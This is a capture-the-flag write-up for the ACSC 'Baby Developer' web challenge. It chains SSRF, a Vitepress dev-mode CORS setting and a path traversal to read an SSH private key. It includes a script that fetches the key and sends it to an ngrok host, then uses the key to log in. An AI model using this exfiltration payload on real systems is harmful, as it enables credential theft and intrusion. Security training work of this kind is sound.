Baby Developer

Description
I made a mobile (apple watch miniminimini series 1337) viewer on my personal server.
http://baby-developer.chal.acsc.asia:8888/
ssh baby-developer.chal.acsc.asia -p2222
Solution
There is a genflag server which you are supposed to SSRF
However, the remote address and user agent are checked so you can't do it directly from mobile-viewer
The pages are rendered as screenshots
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@app.route('/flag')
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def hello_world():
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    if request.remote_addr == dev and 'iPhone' not in request.headers.get('User-Agent'):
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        fp = open('/flag', 'r')
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        flag = fp.read()
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        return flag
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    else:
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        return "Nope.."
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From mobile-viewer, we need to request http://genflag/flag from website. This can be done from /home/stypr/readflag on website.
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# Challenge: get flag!
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RUN touch /home/stypr/.hushlogin && \
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    echo '#include <stdio.h>\r\n#include <stdlib.h>\r\nint main(){FILE *fp;char flag[1035];fp = popen("/usr/bin/curl -s http://genflag/flag", "r");if (fp == NULL) {printf("Error found. Please contact administrator.");exit(1);}while (fgets(flag, sizeof(flag), fp) != NULL) {printf("%s", flag);}pclose(fp);return 0;}' > /home/stypr/readflag.c && \
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    gcc -o /home/stypr/readflag /home/stypr/readflag.c && \
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    chmod +x /home/stypr/readflag && rm -rf /home/stypr/readflag.c
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Refer to the website source. The website server runs yarn dev, which runs vitepress dev src.
Vitepress is run on dev mode. I found that this enables CORS, allowing us to perform a CSRF to exfiltrate data. Furthermore, I found that there was a path traversal vulnerability, allowing us to get the SSH key: http://website/../../../../../home/stypr/.ssh/id_rsa
From mobile-viewer, we can make a request to our attacker site, which contains:
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<script>
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    fetch("http://website/../../../../../home/stypr/.ssh/id_rsa")
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    .then(resp => resp.text())
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    .then(data => fetch('http://0db7-115-66-195-39.ngrok.io/?' + btoa(data)))
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</script>
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Get the private key and SSH into the server to get the flag:
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$ ssh [email protected] -p2222 -i id_rsa 
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ACSC{weird_bugs_pwned_my_system_too_late_to_get_my_CVE}
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Description

Solution